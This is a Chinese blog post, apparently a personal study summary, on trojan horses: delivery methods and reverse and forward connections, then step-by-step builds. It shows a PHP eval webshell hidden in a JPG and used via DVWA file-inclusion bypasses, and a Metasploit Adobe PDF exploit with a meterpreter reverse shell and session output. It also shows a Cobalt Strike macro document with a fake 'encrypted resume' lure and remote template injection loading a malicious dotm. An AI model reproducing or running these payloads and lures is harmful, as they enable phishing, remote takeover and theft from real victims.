木马文件总结

木马-理论基础

木马全称为特洛伊木马,来源于古希腊神话。木马是通过欺骗或诱骗的方式安装,并在用户的计算机中隐藏以实现控制用户计算机的目的

  • 具有远程控制、信息窃取、破坏的恶意代码

木马具有如下特点:

  • 欺骗性

木马都有很强的欺骗性,执行通常都由被攻击者自己执行起来的

  • 隐藏性
  • 非授权性

执行恶意操作是没有经过用户授权的

  • 交互性

主机之外的攻击者可以通过某种方式对主机进行交互

木马的植入方式

  • 网页挂马植入

通过网页挂MA实现比较典型,通常需要利用浏览器或相关漏洞,再结合实时新闻、热点话题制作相关网页,将漏洞和网页结合,最后生成恶意网页,当用户打开网页时,远程的木马程序会自动下载和安装。常见的漏洞比如:MS06014、MS10003。

  • 电子邮件植入(鱼叉攻击)

电子邮件植入最常见的是通过附件的形式,当用户打开附件时被注入木马;另一种是电子邮件与恶意网页相结合,由于电子邮件是支持HTML正文的,如果将相关漏洞植入到网页中,也是能够达到相关的效果。即使不打开附件,选中就会被植入(以HTML格式发送,如求职者)

  • 文档捆绑植入

通过office文档、pdf文档漏洞等将文档进行捆绑,当用户打开文档时会触发漏洞,从而释放木马或执行shellcode执行远程攻击。这种文档同时也常用于邮件附件的形式发送。

  • 伪装欺骗植入

比如可以对exe的文件后缀名进行修改,在原本一个“exe”文件前增加“doc”,然后输入很多空格让其exe不显示出来,再修改成文档类图标,从而进行伪装;另一种是更改后缀名(Unicode翻转字符),将“cod”进行翻转,再就是图标伪装等。

  • 捆绑植入

EXE捆绑、文档嵌入、多媒体文件、电子书植入。

  • 其他

比如特定U盘植入(故意丢弃、或者工作U盘、数据拷贝等)、社会工程等。

远控木马的通信方式

木马的控制端和被控端要通信,首先要建立传输的通道,常见的传输通道构建需要通过IP地址、端口等信息、第三方网站地址实现。建立通信的方式包括两类:

正向连接

反向连接

1.正向连接

​ 正向连接是指控制端主动去连接被控制端,需要被控制端开放相关端口来供控制端连接。首先,控制端会去连接被控端,然后发送相关的控制指令,被控端会将主机上的相关信息反馈给控制端,通常包括IP地址、MAC地址、计算机名称、内存大小等。

img

  • 优点
    攻击者无需外部IP地址,只要能够上网,就能够去连接远程主机
    木马样本不会泄露攻击者IP地址,木马不会主动去对外连接,不会泄露IP
  • 缺点
    可能被防火墙阻挡
    被攻击者必须具备外部IP地址

2.反向连接

第一种方式是右边的被控端(服务端)主动连接控制端主机,这种情况下防火墙一般会允许通过,尤其是目前很多木马程序采用80端口作为远程连接的端口,防火墙会非常信任。

img

  • 优点
    通过防火墙相对容易
    可以控制局域网内的目标
    攻击目标随时上线,攻击者可以进行随时控制,因为攻击者控制服务器一直在线,只要被控端上线就会连接过来,甚至可以通过短信等方式告知。
  • 缺点
    样本会暴露控制服务器信息(域名或IP)
    攻击者通常应当具有外部IP

关于反向连接,还有另外一种方式,被控端和控制端之间有个第三方的肉J,它们都和第三方通信,比如肉鸡、Web服务器。

  • 优点
    可绕过防火墙,自动连接上线,不易被发现(代理)
  • 缺点
    肉鸡的稳定性需要保障

img

3.通信协议

TCP协议 – 稳定、易被发现 HTTP协议伪装

UDP协议 – 和TCP一样也有正向、反向两种方式 负载比TCP少,但是可靠性低

ICMP+TCP/UDP
该方式平时不开启端口,但会监听ICMP报文,以感知木马数据。当攻击者想对这台主机控制时,可以发送ICMP报文,发过来之后控制端监听到特定报文时,就知道到想要进行监听并开启相关端口。ICMP报文是由系统内核或进程直接处理而不是通过端口,其方式比较隐蔽,一般不会被防火墙过滤。

1. 图片马

简单说明

将木马程序和图片捆绑在一起,达到伪装的目的,程序可以是脚本语言或者编译语言,在web渗透中,通常将脚本编写的webshell和图片合成一个新的木马,结合web的文件上传漏洞进行利用,获取网站应用的webshell权限。

制作方法

准备一个一句话木马,文件名为pass.php

   <?php 
   @eval($_POST['pass']);
   ?>

准备一张图片,文件名为image.jpg

  • windows下cmd下使用命令:

copy image.jpg/b + pass.php/a muma.jpg

生成一张图片木马,文件名为muma.jpg

命令与参数说明:
copy:将文件复制或者是合并,/b的意思是以前边图片二进制格式为主,进行合并,合并后的文件依旧是二进制文件,实用于图像/声音等二进制文件。/a的意思是指定以ASCII格式复制,合并文件。用于txt等文本类型文档。

  • linux下

cat image.jpg pass.php > muma.png

DVWA下图片马的利用

环境 DVWA 1.8

通过文件上传功能上传图片马至服务器,获取文件上传地址

image-20210601111046347

Low Security Level

LFI(本地文件包含)

http://192.168.4.128/dvwa/vulnerabilities/fi/?page=/var/www/dvwa/hackable/uploads/muma.jpg

或 http://192.168.4.128/dvwa/vulnerabilities/fi/?page=…/…/hackable/uploads/muma.jpg

RFI(远程文件包含)

http://192.168.4.128/dvwa/vulnerabilities/fi/?page=http://192.168.4.128/dvwa/hackable/uploads/muma.jpg

Medium Security Level

LFI(本地文件包含)

本地文件没有影响

RFI(远程文件包含)

过滤http://和https://并删除

双写绕过:

http://192.168.4.128/dvwa/vulnerabilities/fi/?page=hhttp://ttp://192.168.4.128/dvwa/hackable/uploads/muma.jpg

大小写混淆绕过:

http://192.168.4.128/dvwa/vulnerabilities/fi/?page=HTTP://192.168.4.128/dvwa/hackable/uploads/muma.jpg

http://192.168.4.128/dvwa/vulnerabilities/fi/?page=file:///var/www/dvwa/hackable/uploads/muma.jpg

2.msfvenom生成PDF马

2.1 原理

根据漏洞 CVE-2010-2883 Adobe Reader栈溢出漏洞

漏洞描述

CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中的uniqueName项时存在的栈溢出漏洞,用户受骗打开了特制的PDF就有可能导致执行任意恶意代码

Adobe Reader 8.2.4到9.3.4之间的版本

根据CVE查找相应的模块

image-20210414172411499

本机IP 192.168.3.151 靶机 152

2.2 木马文件利用

利用PDF文件漏洞 -- use exploit/windows/fileformt/adobe_cooltype_sing

配置攻击在和到攻击机的连接 – set payload windows/meterpreter/reverse_tcp

设置攻击机IP和端口号 – set lhost 192.168.3.151 set lport 4444

设置生成木马文件名 – set filename test.pdf

生成 – exploit

msf6 > use exploit/windows/fileformat/adobe_cooltype_sing 
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set lhost 192.168.3.151
lhost => 192.168.3.151
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set lport 4444
lport => 4444
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set filename test.pdf
filename => test.pdf
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > exploit

[*] Creating 'test.pdf' file...
[+] test.pdf stored at /root/.msf4/local/test.pdf

image-20210414173003604

2.3 PDF文件利用

打开监听模块 – use multi/handler

加载连接载荷 – set payload windows/meterpreter/reverse_tcp

设置攻击机IP及端口 – set lhost 192.168.3.151 set lport 4444

开始监听 – exploit

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.3.151
lhost => 192.168.3.151
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.3.151:4444 
[*] Sending stage (175174 bytes) to 192.168.3.152
[*] Meterpreter session 1 opened (192.168.3.151:4444 -> 192.168.3.152:1052) at 2021-04-14 17:05:07 +0800

meterpreter >

image-20210414173430240

2.4 PDF链接利用

利用PDF漏洞 -- use exploit/windows/browser/adobe_cooltype_sing

配置攻击在和到攻击机的连接 – set payload windows/meterpreter/reverse_tcp

设置攻击机IP和端口号 – set lhost 192.168.3.151 set lport 4444

利用 – exploit

msf6 > use exploit/windows/browser/adobe_cooltype_sing 
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/browser/adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/browser/adobe_cooltype_sing) > set lhost 192.168.3.151
lhost => 192.168.3.151
msf6 exploit(windows/browser/adobe_cooltype_sing) > set lport 4444
lport => 4444
msf6 exploit(windows/browser/adobe_cooltype_sing) > exploit 
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.3.151:4444 
[*] Using URL: http://0.0.0.0:8080/XTM0Pd4fMd
[*] Local IP: http://192.168.3.151:8080/XTM0Pd4fMd
[*] Server started.

靶机浏览器访问pdf链接

image-20210414174539499

3.Cobalt Strike生成office宏木马

3.1 引诱用户打开office宏

选择一张jpg简历图片虚化后添加文字“当前内容已加密,请打开宏查看具体内容”引诱用户打开office宏功能,添加图片控件设置为 浮于文字上方 ,并将控件拉满文档。控件属性设置为虚化图片的名称。

test1 test image-20210602141204880 image-20210602141327585

最后效果

image-20210602141457528

3.2 使用CS生成office宏木马文件

Cobalt Strike 点击Attacks-packages-MS Office Macro

image-20210505134519875

创建监听器

image-20210505134949660

自动生成Macro payload

image-20210505135115166

3.3 将宏payload添加至office文件

创建名为 Auto_Open的宏 ,在auto_open()函数首部编写代码,设置图片的位置为0、高度为0,让宏运行后doc上图片消失,然后保存为docm文件。

Project.ThisDocument.Image1.Top = 0
Project.ThisDocument.Image1.Width = 0

image-20210505152408964

3.4 CS上线

打开office,可以看到弹出office的警告了。受害者打开office文件,点击启用宏,cs成功上线。

3.5 模板文件远程加载宏木马文件

将恶意文件上传至服务器

首先将刚才已经制作好的含有恶意代码的模版文件上传到服务器上,采用gitee 将恶意office文件上传至gitee,得到恶意office文件地址

https://gitee.com/XXX/test/blob/master/test.dotm

并在url后面加上?raw=true,最终结果如下

https://gitee.com/XXX/test/blob/master/test.dotm?raw=true

解压正常docx模板文件

打开word找到任意一个模板双击使用,不做处理保存在任意路径下。

修改文件后缀为zip,将其解压缩。得到文件目录如下。

image-20210505195445370

将恶意文件链接隐藏至正常文件中

找到在word/_rels/路径下的settings.xml.rels文件,修改此文件将其target属性值改为 恶意文件URL

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="https://gitee.com/XXX/test/blob/master/test.dotm?raw=true" TargetMode="External"/></Relationships>

接下来将刚才解压生成的文件压缩回去,并且改名为后缀名为docx的文件。

靶机打开,木马上线。

  • 3
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值